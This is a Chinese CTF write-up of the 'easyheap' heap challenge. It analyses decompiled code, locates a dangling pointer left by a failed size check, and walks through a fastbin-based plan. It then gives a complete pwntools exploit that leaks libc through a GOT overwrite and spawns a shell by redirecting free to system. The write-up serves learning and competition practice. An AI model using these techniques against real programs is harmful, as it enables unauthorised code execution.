高校战役easyheap
刷题过少,导致看起来十分简单的题目当时无从下手。没办法,还是要多刷题找手感。今天想起来上次easyheap没整理,趁机学习一波,看了一下思路,果然没什么新的利用点,就是当时漏洞点没发现。
二进制分析
这个binary只有三个功能:
- add_message
- delete_message
- edit_message
下面分析一下具体细节: 第一个就是添加一个message结构体,长下面这样:
00000000 message struc ; (sizeof=0x10, mappedto_6)
00000000 content_ptr dq ?
00000008 size dd ?
0000000C padding dd ?
00000010 message ends
然后检查一下size后就会分配nbytes大小的空间,存到content_ptr那里,假如nbytes的大小大于1024的话就会申请失败,但是ptr[i]
却已经分配过了,return之前却没有free掉。所以这里便是漏洞的关键。
int add_message() {
message *v1; // rbx
signed int i; // [rsp+8h] [rbp-18h]
signed int nbytes; // [rsp+Ch] [rbp-14h]
for ( i = 0; ptr[i]; ++i )
;
if ( i > 2 )
return puts("Too many items!");
ptr[i] = (message *)malloc(0x10uLL);
puts("How long is this message?");
nbytes = read_num();
if ( nbytes > 1024 )
return puts("Too much size!");
ptr[i]->size = nbytes;
v1 = ptr[i];
v1->content_ptr = (__int64)malloc(nbytes);
puts("What is the content of the message?");
read(0, (void *)ptr[i]->content_ptr, (unsigned int)nbytes);
return puts("Add successfully.");
}
delete就是删除两个chunk,但是size并没有设置为0,又是个漏洞
int delete_message() {
int v1; // [rsp+Ch] [rbp-4h]
if ( ++delete_count > 4 )
return puts("Delete failed.");
puts("What is the index of the item to be deleted?");
v1 = read_num();
if ( v1 < 0 || v1 > 6 || !ptr[v1] )
return puts("Delete failed.");
free((void *)ptr[v1]->content_ptr);
free(ptr[v1]);
ptr[v1] = 0LL;
return puts("Delete successfully.");
}
edit就是可以重写size个byte的内容到content里
int edit_message() {
int v1; // [rsp+Ch] [rbp-4h]
if ( ++edit_count > 6 )
return puts("Delete failed.");
puts("What is the index of the item to be modified?");
v1 = read_num();
if ( v1 < 0 || v1 > 6 || !ptr[v1] )
return puts("Edit failed.");
puts("What is the content of the message?");
read(0, (void *)ptr[v1]->content_ptr, (unsigned int)ptr[v1]->size);
return puts("Edit successfully.");
}
利用思路
其实利用方法上也没有啥新的花样,无非是想办法构造任意写,由于刷题过少导致根本没有思路…
- 首先分配0x20, 0x80, 0x20三个message
- 然后free掉0 1,此时bins构造如下:
fastbins 0x20: 0x119e050 —▸ 0x119e000 ◂— 0x0 0x30: 0x119e020 ◂— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x119e070 —▸ 0x7f0a19860b78 (main_arena+88) ◂— 0x119e070 smallbins empty largebins empty
- add一个0x401的message,导致分配失败,此时
ptr[0]
中便是0x119e050
,这里比较骚的是ptr[0]->content_ptr == 0x119e000
,因为ptr[0]
的fd指针仍指向前一个chunk,形成uaf。并且ptr[0]->size == 0x80
- add一个0x20,此时便有两个指针指向
*ptr[1]
,即ptr[0]->content_ptr
与ptr[1]
,此时我们便可以通过edit(0)
来覆盖ptr[1]->content_ptr
实现任意写.由于ptr[0]
在高地址,因此顺便可以覆盖ptr[0]->content_ptr
为puts_got,用于泄漏libc。 - 通过任意写将free_got覆盖成puts_plt实现任意读,通过
delete(0)
泄露puts_got - 再次edit修改free_got为system,并将
*ptr[2]->content_ptr
写为/bin/sh\x00
- delete(2)实现getshell
下面是exp,也算是比较巧的利用了:
#_*_coding:utf-8_*_
from pwn import *
import base64
local = 1
context.log_level = "debug"
context.terminal=['tmux','split','-h']
if local:
p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote("121.36.209.145",9997)
elf = ELF("./easyheap")
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size,data):
p.recvuntil("Your choice:\n")
p.sendline("1")
p.recvuntil("How long is this message?\n")
p.sendline(str(size))
p.recvuntil("What is the content of the message?\n")
p.send(data)
def delete(index):
p.recvuntil("Your choice:\n")
p.sendline("2")
p.recvuntil("What is the index of the item to be deleted?\n")
p.sendline(str(index))
def edit(index,content):
p.recvuntil("Your choice:\n")
p.sendline("3")
p.recvuntil("What is the index of the item to be modified?\n")
p.sendline(str(index))
p.recvuntil("What is the content of the message?\n")
p.send(content)
free_got = elf.got["free"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
add(0x20,"\n") #0
add(0x80,"\n") #1
add(0x20,"\n") #2
#gdb.attach(p)
delete(0)
#gdb.attach(p)
delete(1)
gdb.attach(p)
p.recvuntil("Your choice:\n")
p.sendline("1")
p.recvuntil("How long is this message?\n")
p.sendline(str(1030)) #0 *struct
# gdb.attach(p)
add(0x20,"\n")#1
#gdb.attach(p)
#free_got = 0x602018
payload = p64(0)+p64(0x21)+p64(free_got)+p64(0x20)+p64(0)+p64(0x31)+p64(0)*4
payload += p64(0)+p64(0x21)+p64(puts_got)+p64(0x80)
edit(0,payload+"\n")
#gdb.attach(p)
edit(1,p64(puts_plt))
delete(0)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
#print hex(puts_addr)
libc_base = puts_addr-libc.symbols["puts"]
print hex(libc_base)
print hex(puts_got)
#gdb.attach(p)
sys = libc_base + libc.sym['system']
edit(1,p64(sys))
#gdb.attach(p)
edit(2,'/bin/sh\x00')
delete(2)
p.interactive()
总结
- 实现任意写不一定老是想着double free啥的构造双链表,只要有双指针好像都可以
- 注意fastbin的LIFO特性,往往后分配的chunk造成的overflow可以overwrite先分配的chunk
- 一定要记得我们的终极目标,无非是任意读和任意写,还是要靠刷题积累套路…